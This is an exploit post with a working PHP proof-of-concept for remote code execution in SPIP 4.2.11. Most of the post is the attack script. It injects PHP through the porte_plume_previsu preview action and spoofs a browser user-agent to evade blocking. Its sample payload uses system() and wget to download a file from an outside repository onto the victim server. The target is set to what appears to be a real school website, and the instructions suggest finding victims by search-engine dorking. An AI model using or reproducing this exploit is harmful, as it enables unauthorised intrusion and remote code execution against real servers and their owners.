SPIP 4.2.11 Code Execution

`=============================================================================================================================================  
| # Title : SPIP 4.2.11 PHP Code execution Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |  
| # Vendor : https://www.spip.net/ |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] Line 49 : Set your target.  
  
[+] Save Payload as poc.php and run from cmd = C:\www\test>php poc.php  
  
[+] Payload :  
  
<?php  
  
class IndoushkaExploit {  
private $targetUrl;  
private $payload;  
  
public function __construct($targetUrl, $payload) {  
$this->targetUrl = rtrim($targetUrl, '/') . '/spip.php';  
$this->payload = $this->generatePayload($payload);  
}  
  
private function generatePayload($payload) {  
// توليد الحمولة مع تضمين الأمر المراد تنفيذه  
return "[<img" . rand(10000000, 99999999) . ">->URL`<?php {$payload} ?>`]";  
}  
  
public function exploit() {  
// إعداد بيانات POST التي سيتم إرسالها إلى الهدف  
$data = http_build_query(['action' => 'porte_plume_previsu', 'data' => $this->payload]);  
  
// تهيئة طلب HTTP باستخدام دالة cURL  
$ch = curl_init($this->targetUrl);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);  
  
// إضافة رؤوس مخصصة لتجاوز المنع  
curl_setopt($ch, CURLOPT_HTTPHEADER, [  
'Content-Type: application/x-www-form-urlencoded',  
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'  
]);  
  
// تنفيذ الطلب  
$response = curl_exec($ch);  
  
// تحقق من وجود أخطاء في cURL  
if (curl_errno($ch)) {  
echo "cURL Error: " . curl_error($ch) . "\n";  
} else {  
echo "Exploit Sent! Response:\n";  
echo $response;  
}  
  
curl_close($ch);  
}  
}  
  
// مثال على الاستخدام  
$targetUrl = 'https://eps.enseigne.ac-lyon.fr/spip/'; // استبدل هذا بالعنوان الحقيقي  
$payload = 'system("wget https://raw.githubusercontent.com/indoushka/Mari/master/install.php");'; // أوامر PHP التي تريد تنفيذها  
  
$exploit = new IndoushkaExploit($targetUrl, $payload);  
$exploit->exploit();  
  
  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================  
`